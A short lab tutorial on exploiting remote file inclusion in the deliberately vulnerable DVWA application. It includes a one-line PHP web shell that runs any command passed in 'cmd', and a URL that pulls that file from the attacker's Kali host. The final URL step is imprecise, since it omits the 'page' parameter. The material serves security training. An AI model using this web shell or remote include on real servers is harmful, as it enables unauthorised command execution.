Exploiting RFI on DVWA
In this step, we will exploit an RFI vulnerability on the Damn Vulnerable Web Application (DVWA) to demonstrate the impact of this vulnerability.
- Start the DVWA virtual machine and access it via a web browser.
- Log in with the default credentials (username:
admin
, password: password
).
- Set the security level to "Low" by navigating to the "DVWA Security" page.
- Go to the "File Inclusion" page under the "Vulnerabilities" section.
<!-- File: /var/www/html/dvwa/vulnerabilities/fi/index.php -->
<?php // The page we wish to display $file = $_GET[ 'page' ]; ?>
In this vulnerable code, the $file
variable is set to the value of the page
parameter in the URL without any input validation. This allows us to include remote files by providing a URL as the page
parameter.
- On your Kali Linux machine, create a file called
exploit.php
with the following content:
<?php
system($_GET['cmd']);
?>
This PHP script will execute any command passed through the cmd
parameter.
- Start the Apache web server on Kali Linux with the following command:
$ sudo service apache2 start
- In the DVWA application, enter the following URL in the "File Inclusion" page:
http://<Kali_IP>/exploit.php?cmd=id
Replace <Kali_IP>
with the IP address of your Kali Linux machine.
You should see the output of the id
command, which displays the user and group information of the user running the web server process.